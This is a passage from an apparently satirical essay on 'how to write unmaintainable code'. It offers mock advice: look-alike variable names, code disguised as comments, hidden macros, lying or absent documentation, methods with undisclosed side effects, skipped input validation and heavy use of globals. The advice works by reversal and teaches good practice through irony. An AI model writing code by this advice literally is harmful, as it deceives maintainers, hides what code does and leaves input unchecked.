#### Åccented Letters

Use accented characters on variable names. E.g.

typedef struct \{ int i; \} ínt; where the second ínt's í is actually i-acute.
With only a simple text editor, it's nearly impossible to distinguish the
slant of the accent mark.

#### Exploit Compiler Name Length Limits

If the compiler will only distinguish the first, say, 8 characters of names,
then vary the endings e.g. _var\_unit\_update\(\)_ in one case and
_var\_unit\_setup\(\)_ in another. The compiler will treat both as
_var\_unit_.

#### Underscore, a Friend Indeed

Use \_ and \_\_ as identifiers.

#### Mix Languages

Randomly intersperse two languages \(human or computer\). If your boss insists
you use his language, tell him you can organise your thoughts better in your
own language, or, if that does not work, allege linguistic discrimination and
threaten to sue your employers for a vast sum.

#### Extended ASCII

Extended ASCII characters are perfectly valid as variable names, including ß,
Ð, and ñ characters. They are almost impossible to type without
copying/pasting in a simple text editor.

#### Names From Other Languages

Use foreign language dictionaries as a source for variable names. For example,
use the German _punkt_ for _point_. Maintenance coders, without your firm
grasp of German, will enjoy the multicultural experience of deciphering the
meaning.

#### Names From Mathematics

Choose variable names that masquerade as mathematical operators, e.g.:

openParen **=** \(slash  **+** asterix\) **/** equals;

#### Bedazzling Names

Choose variable names with irrelevant emotional connotation. e.g.:

marypoppins **=** \(superman **+** starship\)  **/** god; This confuses the
reader because they have difficulty disassociating the emotional connotations
of the words from the logic they're trying to think about.

#### Rename and Reuse

This trick works especially well in Ada, a language immune to many of the
standard obfuscation techniques. The people who originally named all the
objects and packages you use were morons. Rather than try to convince them to
change, just use renames and subtypes to rename everything to names of your
own devising. Make sure to leave a few references to the old names in, as a
trap for the unwary.

#### When To Use i

Never use i for the innermost loop variable. Use anything but. Use i liberally
for any other purpose especially for non-int variables. Similarly use n as a
loop index.

#### Conventions Schmentions

Ignore the Sun Java Coding Conventions, after all, Sun does. Fortunately, the
compiler won't tattle when you violate them. The goal is to come up with names
that differ subtlely only in case. If you are forced to use the capitalisation
conventions, you can still subvert wherever the choice is ambigous, e.g. use
**both** _input**F** ile**n** ame_ and _input**f** ile**N** ame_. Invent your
own hopelessly complex naming conventions, then berate everyone else for not
following them.

#### Lower Case l Looks a Lot Like the Digit 1

Use lower case l to indicate long constants. e.g. 10l is more likely to be
mistaken for 101 that 10L is. Ban any fonts that clearly disambiguate uvw wW
gq9 2z 5s il17|\!j oO08 \`'" ;,. m nn rn \{\[\(\)\]\}. Be creative.

#### Reuse of Global Names as Private

Declare a global array in module A, and a private one of the same name in the
header file for module B, so that it appears that it's the global array you
are using in module B, but it isn't. Make no reference in the comments to this
duplication.

#### Recycling Revisited

Use scoping as confusingly as possible by recycling variable names in
contradictory ways. For example, suppose you have global variables A and B,
and functions foo and bar. If you know that variable A will be regularly
passed to foo and B to bar, make sure to define the functions as function
foo\(B\) and function bar\(A\) so that inside the functions A will always be
referred to as B and vice versa. With more functions and globals, you can
create vast confusing webs of mutually contradictory uses of the same names.

#### Recycle Your Variables

Wherever scope rules permit, reuse existing unrelated variable names.
Similarly, use the same temporary variable for two unrelated purposes
\(purporting to save stack slots\). For a fiendish variant, morph the
variable, for example, assign a value to a variable at the top of a very long
method, and then somewhere in the middle, change the meaning of the variable
in a subtle way, such as converting it from a 0-based coordinate to a 1-based
coordinate. Be certain not to document this change in meaning.

#### Cd wrttn wtht vwls s mch trsr

When using abbreviations inside variable or method names, break the boredom
with several variants for the same word, and even spell it out longhand once
in while. This helps defeat those lazy bums who use text search to understand
only some aspect of your program. Consider variant spellings as a variant on
the ploy, e.g. mixing International _colour_ , with American _color_ and dude-
speak _kulerz_. If you spell out names in full, there is only one possible way
to spell each name. These are too easy for the maintenance programmer to
remember. Because there are so many different ways to abbreviate a word, with
abbreviations, you can have several different variables that all have the same
apparent purpose. As an added bonus, the maintenance programmer might not even
notice they are separate variables.

#### Misleading names

Make sure that every method does a little bit more \(or less\) than its name
suggests. As a simple example, a method named isValid\(x\) should as a side
effect convert x to binary and store the result in a database.

#### m\_

a naming convention from the world of C++ is the use of "m\_" in front of
members. This is supposed to help you tell them apart from methods, so long as
you forget that "method" also starts with the letter "m".

#### o\_apple obj\_apple

Use an "o" or "obj" prefix for each instance of the class to show that you're
thinking of the big, polymorphic picture.

#### Hungarian Notation

Hungarian Notation is the tactical nuclear weapon of source code obfuscation
techniques; use it\! Due to the sheer volume of source code contaminated by
this idiom nothing can kill a maintenance engineer faster than a well planned
Hungarian Notation attack. The following tips will help you corrupt the
original intent of Hungarian Notation:

Insist on using "c" for const in C++ and other languages that directly enforce
the const-ness of a variable.

Seek out and use Hungarian warts that have meaning in languages other than
your current language. For example insist on the PowerBuilder "l\_" and "a\_ "
\{local and argument\} scoping prefixes and always use the VB-esque style of
having a Hungarian wart for every control type when coding to C++. Try to stay
ignorant of the fact that megs of plainly visible MFC source code does not use
Hungarian warts for control types.

Always violate the Hungarian principle that the most commonly used variables
should carry the least extra information around with them. Achieve this end
through the techniques outlined above and by insisting that each class type
have a custom wart prefix. Never allow anyone to remind you that **no** wart
tells you that something **is** a class. The importance of this rule cannot be
overstated if you fail to adhere to its principles the source code may become
flooded with shorter variable names that have a higher vowel/consonant ratio.
In the worst case scenario this can lead to a full collapse of obfuscation and
the spontaneous reappearance of English Notation in code\!

Flagrantly violate the Hungarian-esque concept that function parameters and
other high visibility symbols must be given meaningful names, but that
Hungarian type warts all by themselves make excellent temporary variable
names.

Insist on carrying outright orthogonal information in your Hungarian warts.
Consider this real world example "a\_crszkvc30LastNameCol". It took a team of
maintenance engineers nearly 3 days to figure out that this whopper variable
name described a const, reference, function argument that was holding
information from a database column of type Varchar\[30\] named "LastName"
which was part of the table's primary key. When properly combined with the
principle that "all variables should be public" this technique has the power
to render thousands of lines of source code obsolete instantly\!

Use to your advantage the principle that the human brain can only hold 7
pieces of information concurrently. For example code written to the above
standard has the following properties:

  * a single assignment statement carries 14 pieces of type and name information. 
  * a single function call that passes three parameters and assigns a result carries 29 pieces of type and name information. 
  * Seek to improve this excellent, but far too concise, standard. Impress management and coworkers by recommending a 5 letter day of the week prefix to help isolate code written on 'Monam' and 'FriPM'. 
  * It is easy to overwhelm the short term memory with even a moderately complex nesting structure, **especially** when the maintenance programmer can't see the start and end of each block on screen simultaneously. 

#### Hungarian Notation Revisited

One followon trick in the Hungarian notation is "change the type of a variable
but leave the variable name unchanged". This is almost invariably done in
windows apps with the migration from Win16 :- WndProc\(HWND hW, WORD wMsg,
WORD wParam, LONG lParam\) to Win32 WndProc\(HWND hW, UINT wMsg, WPARAM
wParam, LPARAM lParam\) where the w values hint that they are words, but they
really refer to longs. The real value of this approach comes clear with the
Win64 migration, when the parameters will be 64 bits wide, but the old "w" and
"l" prefixes will remain forever.

#### Reduce, Reuse, Recycle

If you have to define a structure to hold data for callbacks, always call the
structure PRIVDATA. Every module can define it's own PRIVDATA. In VC++, this
has the advantage of confusing the debugger so that if you have a PRIVDATA
variable and try to expand it in the watch window, it doesn't know which
PRIVDATA you mean, so it just picks one.

#### Obscure film references

Use constant names like LancelotsFavouriteColour instead of blue and assign it
hex value of $0204FB. The color looks identical to pure blue on the screen,
and a maintenance programmer would have to work out 0204FB \(or use some
graphic tool\) to know what it looks like. Only someone intimately familiar
with Monty Python and the Holy Grail would know that Lancelot's favorite color
was blue. If a maintenance programmer can't quote entire Monty Python movies
from memory, he or she has **no** business being a programmer.

## Camouflage

> __
> _The longer it takes for a bug to surface, the harder it is to find.  
>  _\- Roedy Green
Much of the skill in writing unmaintainable code is the art of camouflage,
hiding things, or making things appear to be what they are not. Many depend on
the fact the compiler is more capable at making fine distinctions than either
the human eye or the text editor. Here are some of the best camouflaging
techniques.

#### Code That Masquerades As Comments and Vice Versa

Include sections of code that is commented out but at first glance does not
appear to be.

for\(j**=** 0; j**<** array\_len; j**+** **=** 8\)

\{  
total **+****=** array**\[** j**+** 0 **\]** ;  
total **+****=** array**\[** j**+** 1 **\]** ;  
total **+****=** array**\[** j**+** 2 **\]** ; /\* Main body of  
total += array\[j+3\]; \* loop is unrolled  
total += array\[j+4\]; \* for greater speed.  
total += array\[j+5\]; \*/  
total **+****=** array**\[** j**+** 6 **\]** ;  
total **+****=** array**\[** j**+** 7 **\]** ;  
\} Without the colour coding would you notice that three lines of code are
commented out?

#### namespaces

Struct/union and typedef struct/union are different name spaces in C \(not in
C++\). Use the same name in both name spaces for structures or unions. Make
them, if possible, nearly compatible.

typedef struct \{  
char\* pTr;  
size\_t lEn;  
\} snafu;

struct snafu \{  
unsigned cNt  
char\* pTr;  
size\_t lEn;  
\} A;  

#### Hide Macro Definitions

Hide macro definitions in amongst rubbish comments. The programmer will get
bored and not finish reading the comments thus never discover the macro.
Ensure that the macro replaces what looks like a perfectly legitimate
assignment with some bizarre operation, a simple example:

\#define a=b a=0-b

#### Look Busy

use define statements to make made up functions that simply comment out their
arguments, e.g.:

\#define fastcopy\(x,y,z\) /\*xyz\*/  
...  
fastcopy\(array1, array2, size\); /\* does nothing \*/

#### Use Continuation to hide variables

Instead of using

\#define local\_var xy\_z break up "xy\_z" onto two lines:

\#define local\_var xy\  
\_z // local\_var OK That way a global search for xy\_z will come up with
nothing for that file. To the C preprocessor, the "\" at the end of the line
means glue this line to the next one.

#### Arbitrary Names That Masquerade as Keywords

When documenting, and you need an arbitrary name to represent a filename use
_" file "_. Never use an obviously arbitrary name like _" Charlie.dat"_ or _"
Frodo.txt"_. In general, in your examples, use arbitrary names that sound as
much like reserved keywords as possible. For example, good names for
parameters or variables would be _" bank"_, _" blank"_, _" class"_, _" const
"_, _" constant"_, _" input"_, _" key"_, _" keyword"_, _" kind"_, _" output"_,
_" parameter"_ _" parm"_, _" system"_, _" type"_, _" value"_, _" var"_ and _"
variable "_. If you use actual reserved words for your arbitrary names, which
would be rejected by your command processor or compiler, so much the better.
If you do this well, the users will be hopelessly confused between reserved
keywords and arbitrary names in your example, but you can look innocent,
claiming you did it to help them associate the appropriate purpose with each
variable.

#### Code Names Must Not Match Screen Names

Choose your variable names to have absolutely no relation to the labels used
when such variables are displayed on the screen. E.g. on the screen label the
field _" Postal Code"_ but in the code call the associated variable _" zip"_.

#### Don't Change Names

Instead of globally renaming to bring two sections of code into sync, use
multiple TYPEDEFs of the same symbol.

#### How to Hide Forbidden Globals

Since global variables are "evil", define a structure to hold all the things
you'd put in globals. Call it something clever like EverythingYoullEverNeed.
Make all functions take a pointer to this structure \(call it handle to
confuse things more\). This gives the impression that you're not using global
variables, you're accessing everything through a "handle". Then declare one
statically so that all the code is using the same copy anyway.

#### Hide Instances With Synonyms

Maintenance programmers, in order to see if they'll be any cascading effects
to a change they make, do a global search for the variables named. This can be
defeated by this simple expedient of having synonyms, such as

\#define xxx global\_var // in file std.h  
\#define xy\_z xxx // in file ..\other\substd.h  
\#define local\_var xy\_z // in file ..\codestd\inst.h These defs should be
scattered through different include-files. They are especially effective if
the include-files are located in different directories. The other technique is
to reuse a name in every scope. The compiler can tell them apart, but a simple
minded text searcher cannot. Unfortunately SCIDs in the coming decade will
make this simple technique impossible. since the editor understands the scope
rules just as well as the compiler.

#### Long Similar Variable Names

Use very long variable names or class names that differ from each other by
only one character, or only in upper/lower case. An ideal variable name pair
is _swimmer_ and swimner. Exploit the failure of most fonts to clearly
discriminate between ilI1| or oO08 with identifier pairs like parselnt and
parseInt or D0Calc and DOCalc. l is an exceptionally fine choice for a
variable name since it will, to the casual glance, masquerade as the constant
1. In many fonts rn looks like an m. So how about a variable swirnrner. Create
variable names that differ from each other only in case e.g. HashTable and
Hashtable.

#### Similar-Sounding Similar-Looking Variable Names

Although we have one variable named xy\_z, there's certainly no reason not to
have many other variables with similar names, such as xy\_Z, xy\_\_z, \_xy\_z,
\_xyz, XY\_Z, xY\_z, and Xy\_z.

Variables that resemble others except for capitalization and underlines have
the advantage of confounding those who like remembering names by sound or
letter-spelling, rather than by exact representations.

#### Overload and Bewilder

In C++, overload library functions by using \#define. That way it looks like
you are using a familiar library function where in actuality you are using
something totally different.

#### Choosing The Best Overload Operator

In C++, overload +,-,\*,/ to do things totally unrelated to addition,
subtraction etc. After all, if the Stroustroup can use the shift operator to
do I/O, why should you not be equally creative? If you overload +, make sure
you do it in a way that i = i + 5; has a totally different meaning from i +=
5; Here is an example of elevating overloading operator obfuscation to a high
art. Overload the '\!' operator for a class, but have the overload have
nothing to do with inverting or negating. Make it return an integer. Then, in
order to get a logical value for it, you must use '\! \!'. However, this
inverts the logic, so \[drum roll\] you must use '\! \! \!'. Don't confuse the
\! operator, which returns a boolean 0 or 1, with the ~ bitwise logical
negation operator.

#### Overload new

Overload the "new" operator - much more dangerous than overloading the +-/\*.
This can cause total havoc if overloaded to do something different from it's
original function \(but vital to the object's function so it's very difficult
to change\). This should ensure users trying to create a dynamic instance get
really stumped. You can combine this with the case sensitivity trickalso have
a member function, and variable called "New".

#### \#define

\#define in C++ deserves an entire essay on its own to explore its rich
possibilities for obfuscation. Use lower case \#define variables so they
masquerade as ordinary variables. Never use parameters to your preprocessor
functions. Do everything with global \#defines. One of the most imaginative
uses of the preprocessor I have heard of was requiring five passes through CPP
before the code was ready to compile. Through clever use of defines and
ifdefs, a master of obfuscation can make header files declare different things
depending on how many times they are included. This becomes especially
interesting when one header is included in another header. Here is a
particularly devious example:

\#ifndef DONE  
  
\#ifdef TWICE  
  
// put stuff here to declare 3rd time around  
void g\(char\* str\);  
\#define DONE  
  
\#else // TWICE  
\#ifdef ONCE  
  
// put stuff here to declare 2nd time around  
void g\(void\* str\);  
\#define TWICE  
  
\#else // ONCE  
  
// put stuff here to declare 1st time around  
void g\(std::string str\);  
\#define ONCE  
  
\#endif // ONCE  
\#endif // TWICE  
\#endif // DONE This one gets fun when passing g\(\) a char\*, because a
different version of g\(\) will be called depending on how many times the
header was included.

#### Compiler Directives

Compiler directives were designed with the express purpose of making the same
code behave completely differently. Turn the boolean short-circuiting
directive on and off repeatedly and vigourously, as well as the long strings
directive.

## Documentation

> _Any fool can tell the truth, but it requires a man of some sense to know
> how to lie well.  
>  _\- Samuel Butler \(1835 - 1902\)
> _Incorrect documentation is often worse than no documentation.  
>  _\- Bertrand Meyer
Since the computer ignores comments and documentation, you can lie
outrageously and do everything in your power to befuddle the poor maintenance
programmer.

#### Lie in the comments

You don't have to actively lie, just fail to keep comments as up to date with
the code.

#### Document the obvious

Pepper the code with comments like /\* add 1 to i \*/ however, never document
wooly stuff like the overall purpose of the package or method.

#### Document How Not Why

Document only the details of what a program does, not what it is attempting to
accomplish. That way, if there is a bug, the fixer will have no clue what the
code should be doing.

#### Avoid Documenting the "Obvious"

If, for example, you were writing an airline reservation system, make sure
there are at least 25 places in the code that need to be modified if you were
to add another airline. Never document where they are. People who come after
you have no business modifying your code without thoroughly understanding
every line of it.

#### On the Proper Use Of Documentation Templates

Consider function documentation prototypes used to allow automated
documentation of the code. These prototypes should be copied from one function
\(or method or class\) to another, but never fill in the fields. If for some
reason you are forced to fill in the fields make sure that all parameters are
named the same for all functions, and all cautions are the same but of course
not related to the current function at all.

#### On the Proper Use of Design Documents

When implementing a very complicated algorithm, use the classic software
engineering principles of doing a sound design before beginning coding. Write
an extremely detailed design document that describes each step in a very
complicated algorithm. The more detailed this document is, the better.

In fact, the design doc should break the algorithm down into a hierarchy of
structured steps, described in a hierarchy of auto-numbered individual
paragraphs in the document. Use headings at least 5 deep. Make sure that when
you are done, you have broken the structure down so completely that there are
over 500 such auto-numbered paragraphs. For example, one paragraph might
be\(this is a real example\)

1.2.4.6.3.13 - Display all impacts for activity where selected mitigations can
apply \(short pseudocode omitted\).

**then**... \(and this is the kicker\) when you write the code, for each of
these paragraphs you write a corresponding global function named:

Act1\_2\_4\_6\_3\_13\(\) Do not document these functions. After all, that's
what the design document is for\!

Since the design doc is auto-numbered, it will be extremely difficult to keep
it up to date with changes in the code \(because the function names, of
course, are static, not auto-numbered.\) This isn't a problem for you because
you will not try to keep the document up to date. In fact, do everything you
can to destroy all traces of the document.

Those who come after you should only be able to find one or two contradictory,
early drafts of the design document hidden on some dusty shelving in the back
room near the dead 286 computers.

#### Units of Measure

Never document the units of measure of any variable, input, output or
parameter. e.g. feet, metres, cartons. This is not so important in bean
counting, but it is very important in engineering work. As a corollary, never
document the units of measure of any conversion constants, or how the values
were derived. It is mild cheating, but very effective, to salt the code with
some incorrect units of measure in the comments. If you are feeling
particularly malicious, make up your **own** unit of measure; name it after
yourself or some obscure person and never define it. If somebody challenges
you, tell them you did so that you could use integer rather than floating
point arithmetic.

#### Gotchas

Never document gotchas in the code. If you suspect there may be a bug in a
class, keep it to yourself. If you have ideas about how the code should be
reorganised or rewritten, for heaven's sake, do not write them down. Remember
the words of Thumper in the movie Bambi _" If you can't say anything nice,
don't say anything at all"_. What if the programmer who wrote that code saw
your comments? What if the owner of the company saw them? What if a customer
did? You could get yourself fired. An anonymous comment that says "This needs
to be fixed\!" can do wonders, especially if it's not clear what the comment
refers to. Keep it vague, and nobody will feel personally criticised.

#### Documenting Variables

**Never** put a comment on a variable declaration. Facts about how the
variable is used, its bounds, its legal values, its implied/displayed number
of decimal points, its units of measure, its display format, its data entry
rules \(e.g. total fill, must enter\), when its value can be trusted etc.
should be gleaned from the procedural code. If your boss forces you to write
comments, lard method bodies with them, but never comment a variable
declaration, not even a temporary\!

#### Disparage In the Comments

Discourage any attempt to use external maintenance contractors by peppering
your code with insulting references to other leading software companies,
especial anyone who might be contracted to do the work. e.g.:

/\* The optimised inner loop.  
This stuff is too clever for the dullard at Software Services Inc., who would  
probably use 50 times as memory & time using the dumb routines in <math.h>.  
\*/  
class **clever\_SSInc**

\{  
**.****.** **.**  
\} If possible, put insulting stuff in syntactically significant parts of the
code, as well as just the comments so that management will probably break the
code if they try to sanitise it before sending it out for maintenance.

#### COMMENT AS IF IT WERE CØBØL ON PUNCH CARDS

Always refuse to accept advances in the development environment arena,
especially SCIDs. Disbelieve rumors that all function and variable
declarations are never more than one click away and always assume that code
developed in Visual Studio 6.0 will be maintained by someone using edlin or
vi. Insist on Draconian commenting rules to bury the source code proper.

#### Monty Python Comments

On a method called _makeSnafucated_ insert only the JavaDoc /\* make
snafucated \*/. Never define what _snafucated_ means **_anywhere_**. Only a
fool does not already know, with complete certainty, what _snafucated_ means.
For classic examples of this technique, consult the Sun AWT JavaDOC.

## Program Design

> _The cardinal rule of writing unmaintainable code is to specify each fact in
> as many places as possible and in as many ways as possible.  
>  _\- Roedy Green

The key to writing maintainable code is to specify each fact about the
application in only one place. To change your mind, you need change it in only
one place, and you are guaranteed the entire program will still work.
Therefore, the key to writing unmaintainable code is to specify a fact over
and over, in as many places as possible, in as many variant ways as possible.
Happily, languages like Java go out of their way to make writing this sort of
unmaintainable code easy. For example, it is almost impossible to change the
type of a widely used variable because all the casts and conversion functions
will no longer work, and the types of the associated temporary variables will
no longer be appropriate. Further, if the variable is displayed on the screen,
all the associated display and data entry code has to be tracked down and
manually modified. The Algol family of languages which include C and Java
treat storing data in an array, Hashtable, flat file and database with
**totally** different syntax. In languages like Abundance, and to some extent
Smalltalk, the syntax is identical; just the declaration changes. Take
advantage of Java's ineptitude. Put data you know will grow too large for RAM,
for now into an array. That way the maintenance programmer will have a
horrendous task converting from array to file access later. Similarly place
tiny files in databases so the maintenance programmer can have the fun of
converting them to array access when it comes time to performance tune.

#### Java Casts

Java's casting scheme is a gift from the Gods. You can use it without guilt
since the language requires it. Every time you retrieve an object from a
Collection you must cast it back to its original type. Thus the type of the
variable may be specified in dozens of places. If the type later changes, all
the casts must be changed to match. The compiler may or may not detect if the
hapless maintenance programmer fails to catch them all \(or changes one too
many\). In a similar way, all matching casts to \(short\) need to be changed
to \(int\) if the type of a variable changes from short to int. There is a
movement afoot in invent a generic cast operator \(cast\) and a generic
conversion operator \(convert\) that would require no maintenance when the
type of variable changes. Make sure this heresy never makes it into the
language specification. Vote no on RFE 114691 and on genericity which would
eliminate the need for many casts.

#### Exploit Java's Redundancy

Java insists you specify the type of every variable twice. Java programmers
are so used to this redundancy they won't notice if you make the two types
_slightly_ different, as in this example:

Bubbleg _u_ m **b** **=** new Bubbleg _o_ m\(\); Unfortunately the popularity
of the ++ operator makes it harder to get away with pseudo-redundant code like
this:

swim _m_ er **=** swim _n_ er  **+** 1;

#### Never Validate

Never check input data for any kind of correctness or discrepancies. It will
demonstrate that you absolutely trust the company's equipment as well as that
you are a perfect team player who trusts all project partners and system
operators. Always return reasonable values even when data inputs are
questionable or erroneous.

#### Be polite, Never Assert

Avoid the assert\(\) mechanism, because it could turn a three-day debug fest
into a ten minute one.

#### Avoid Encapsulation

In the interests of efficiency, avoid encapsulation. Callers of a method need
all the external clues they can get to remind them how the method works
inside.

#### Clone & Modify

In the name of efficiency, use cut/paste/clone/modify. This works much faster
than using many small reusable modules. This is especially useful in shops
that measure your progress by the number of lines of code you've written.

#### Use Static Arrays

If a module in a library needs an array to hold an image, just define a static
array. Nobody will ever have an image bigger than 512 x 512, so a fixed-size
array is OK. For best precision, make it an array of doubles. Bonus effect for
hiding a 2 Meg static array which causes the program to exceed the memory of
the client's machine and thrash like crazy even if they never use your
routine.

#### Dummy Interfaces

Write an empty interface called something like "WrittenByMe", and make all of
your classes implement it. Then, write wrapper classes for any of Java's
built-in classes that you use. The idea is to make sure that every single
object in your program implements this interface. Finally, write all methods
so that both their arguments and return types are WrittenByMe. This makes it
nearly impossible to figure out what some methods do, and introduces all sorts
of entertaining casting requirements. For a further extension, have each team
member have his/her own personal interface \(e.g., WrittenByJoe\); any class
worked on by a programmer gets to implement his/her interface. You can then
arbitrary refer to objects by any one of a large number of meaningless
interfaces\!

#### Giant Listeners

Never create separate Listeners for each Component. Always have one listener
for every button in your project and simply use massive if...else statements
to test for which button was pressed.

#### Too Much Of A Good ThingTM

Go wild with encapsulation and oo. For example:

myPanel**.** add\( getMyButton**\(****\)** \);  
private JButton **getMyButton**\(\)

\{  
return myButton;  
\} That one probably did not even seem funny. Don't worry. It will some day.

#### Friendly Friend

Use as often as possible the friend-declaration in C++. Combine this with
handing the pointer of the creating class to a created class. Now you don't
need to fritter away your time in thinking about interfaces. Additionally you
should use the keywords _private_ and _protected_ to prove that your classes
are well encapsulated.

#### Use Three Dimensional Arrays

Lots of them. Move data between the arrays in convoluted ways, say, filling
the columns in arrayB with the rows from arrayA. Doing it with an offset of 1,
for no apparent reason, is a nice touch. Makes the maintenance programmer
nervous.

#### Mix and Match

Use both accessor methods and public variables. That way, you can change an
object's variable without the overhead of calling the accessor, but still
claim that the class is a "Java Bean". This has the additional advantage of
frustrating the maintenence programmer who adds a logging function to try to
figure out who is changing the value.

#### Wrap, wrap, wrap

Whenever you have to use methods in code you did not write, insulate your code
from that other _dirty_ code by at least one layer of wrapper. After all, the
other author **might** some time in the future recklessly rename every method.
Then where would you be? You could of course, if he did such a thing, insulate
your code from the changes by writing a wrapper or you could let VAJ handle
the global rename. However, this is the perfect excuse to preemptively cut him
off at the pass with a wrapper layer of indirection, **before** he does
anything idiotic. One of Java's main faults is that there is no way to solve
many simple problems without dummy wrapper methods that do nothing but call
another method of the same name, or a closely related name. This means it is
possible to write wrappers four-levels deep that do absolutely nothing, and
almost no one will notice. To maximise the obscuration, at each level, rename
the methods, selecting random synonyms from a thesaurus. This gives the
illusion something of note is happening. Further, the renaming helps ensure
the lack of consistent project terminology. To ensure no one attempts to prune
your levels back to a reasonable number, invoke some of your code bypassing
the wrappers at each of the levels.

#### Wrap Wrap Wrap Some More

Make sure all API functions are wrapped at least 6-8 times, with function
definitions in separate source files. Using \#defines to make handy shortcuts
to these functions also helps.

#### No Secrets\!

Declare every method and variable public. After all, somebody, sometime might
want to use it. Once a method has been declared public, it can't very well be
retracted, now can it? This makes it very difficult to later change the way
anything works under the covers. It also has the delightful side effect of
obscuring what a class is for. If the boss asks if you are out of your mind,
tell him you are following the classic principles of transparent interfaces.

#### The Kama Sutra

This technique has the added advantage of driving any users or documenters of
the package to distraction as well as the maintenance programmers. Create a
dozen overloaded variants of the same method that differ in only the most
minute detail. I think it was Oscar Wilde who observed that positions 47 and
115 of the Kama Sutra were the same except in 115 the woman had her fingers
crossed. Users of the package then have to carefully peruse the long list of
methods to figure out just which variant to use. The technique also balloons
the documentation and thus ensures it will more likely be out of date. If the
boss asks why you are doing this, explain it is solely for the convenience of
the users. Again for the full effect, clone any common logic and sit back and
wait for it the copies to gradually get out of sync.

#### Permute and Baffle

Reverse the parameters on a method called drawRectangle\(height, width\) to
drawRectangle\(width, height\) without making any change whatsoever to the
name of the method. Then a few releases later, reverse it back again. The
maintenance programmers can't tell by quickly looking at any call if it has
been adjusted yet. Generalisations are left as an exercise for the reader.

#### Theme and Variations

Instead of using a parameter to a single method, create as many separate
methods as you can. For example instead of setAlignment\(int alignment\) where
alignment is an enumerated constant, for left, right, center, create three
methods setLeftAlignment, setRightAlignment, and setCenterAlignment. Of
course, for the full effect, you must clone the common logic to make it hard
to keep in sync.

#### Static Is Good

Make as many of your variables as possible static. If _you_ don't need more
than one instance of the class in this program, no one else ever will either.
Again, if other coders in the project complain, tell them about the execution
speed improvement you're getting.

#### Cargill's Quandry

Take advantage of Cargill's quandary \(I think this was his\) "any design
problem can be solved by adding an additional level of indirection, except for
too many levels of indirection." Decompose OO programs until it becomes nearly
impossible to find a method which actually updates program state. Better yet,
arrange all such occurrences to be activated as callbacks from by traversing
pointer forests which are known to contain every function pointer used within
the entire system. Arrange for the forest traversals to be activated as side-
effects from releasing reference counted objects previously created via deep
copies which aren't really all that deep.

#### Packratting

Keep all of your unused and outdated methods and variables around in your
code. After all - if you needed to use it once in 1976, who knows if you will
want to use it again sometime? Sure the program's changed since then, but it
might just as easily change back, you "don't want to have to reinvent the
wheel" \(supervisors love talk like that\). If you have left the comments on
those methods and variables untouched, and sufficiently cryptic, anyone
maintaining the code will be too scared to touch them.

#### And That's Final

Make all of your leaf classes final. After all, _you're_ done with the project
- certainly no one else could possibly improve on your work by extending your
classes. And it might even be a security flaw - after all, isn't
java.lang.String final for just this reason? If other coders in your project
complain, tell them about the execution speed improvement you're getting.

#### Eschew The Interface

In Java, disdain the interface. If your supervisors complain, tell them that
Java interfaces force you to "cut-and-paste" code between different classes
that implement the same interface the same way, and they _know_ how hard that
would be to maintain. Instead, do as the Java AWT designers did - put lots of
functionality in your classes that can only be used by classes that inherit
from them, and use lots of "instanceof" checks in your methods. This way, if
someone wants to reuse your code, they have to extend your classes. If they
want to reuse your code from two different classes - tough luck, they can't
extend both of them at once\! If an interface is unavoidable, make an all-
purpose one and name it something like "ImplementableIface." Another gem from
academia is to append "Impl" to the names of classes that implement
interfaces. This can be used to great advantage, e.g. with classes that
implement Runnable.

#### Avoid Layouts

Never use layouts. That way when the maintenance programmer adds one more
field he will have to manually adjust the absolute co-ordinates of every other
thing displayed on the screen. If your boss forces you to use a layout, use a
single giant GridBagLayout, and hard code in absolute grid co-ordinates.

#### Environment variables

If you have to write classes for some other programmer to use, put
environment-checking code \(getenv\(\) in C++ / System.getProperty\(\) in
Java\) in your classes' nameless static initializers, and pass all your
arguments to the classes this way, rather than in the constructor methods. The
advantage is that the initializer methods get called as soon as the class
program binaries get _loaded_ , even before any of the classes get
instantiated, so they will usually get executed before the program main\(\).
In other words, there will be no way for the rest of the program to modify
these parameters before they get read into your classes - the users better
have set up all their environment variables just the way you had them\!

#### Table Driven Logic

Eschew any form of table-driven logic. It starts out innocently enough, but
soon leads to end users proofreading and then _shudder_ , even modifying the
tables for themselves.

#### Modify Mom's Fields

In Java, all primitives passed as parameters are effectively read-only because
they are passed by value. The callee can modify the parameters, but that has
no effect on the caller's variables. In contrast all objects passed are read-
write. The reference is passed by value, which means the object itself is
effectively passed by reference. The callee can do whatever it wants to the
fields in your object. Never document whether a method actually modifies the
fields in each of the passed parameters. Name your methods to suggest they
only look at the fields when they actually change them.

#### The Magic Of Global Variables

Instead of using exceptions to handle error processing, have your error
message routine set a global variable. Then make sure that every long-running
loop in the system checks this global flag and terminates if an error occurs.
Add another global variable to signal when a user presses the 'reset' button.
Of course all the major loops in the system also have to check this second
flag. Hide a few loops that **don't** terminate on demand.

#### Globals, We Can't Stress These Enough\!

If God didn't want us to use global variables, he wouldn't have invented them.
Rather than disappoint God, use and set as many global variables as possible.
Each function should use and set at least two of them, even if there's no
reason to do this. After all, any good maintenance programmer will soon figure
out this is an exercise in detective work, and she'll be happy for the
exercise that separates real maintenance programmers from the dabblers.

#### Globals, One More Time, Boys

Global variables save you from having to specify arguments in functions. Take
full advantage of this. Elect one or more of these global variables to specify
what kinds of processes to do on the others. Maintenance programmers foolishly
assume that C functions will not have side effects. Make sure they squirrel
results and internal state information away in global variables.

#### Side Effects

In C, functions are supposed to be idempotent, \(without side effects\). I
hope that hint is sufficient.

#### Backing Out

Within the body of a loop, assume that the loop action is successful and
immediately update all pointer variables. If an exception is later detected on
that loop action, back out the pointer advancements as side effects of a
conditional expression following the loop body.

#### Local Variables

Never use local variables. Whenever you feel the temptation to use one, make
it into an instance or static variable instead to unselfishly share it with
all the other methods of the class. This will save you work later when other
methods need similar declarations. C++ programmers can go a step further by
making all variables global.

#### Reduce, Reuse, Recycle

If you have to define a structure to hold data for callbacks, always call the
structure PRIVDATA. Every module can define it's own PRIVDATA. In VC++, this
has the advantage of confusing the debugger so that if you have a PRIVDATA
variable and try to expand it in the watch window, it doesn't know which
PRIVDATA you mean, so it just picks one.

#### Configuration Files

These usually have the form keyword=value. The values are loaded into Java
variables at load time. The most obvious obfuscation technique is to use
slightly different names for the keywords and the Java variables. Use
configuration files even for constants that never change at run time.
Parameter file variables require at least five times as much code to maintain
as a simple variable would.

#### Bloated classes

To ensure your classes are bounded in the most obtuse way possible, make sure
you include peripheral, obscure methods and attributes in every class. For
example, a class that defines astrophysical orbit geometry really should have
a method that computes ocean tide schedules and attributes that comprise a
Crane weather model. Not only does this over-define the class, it makes
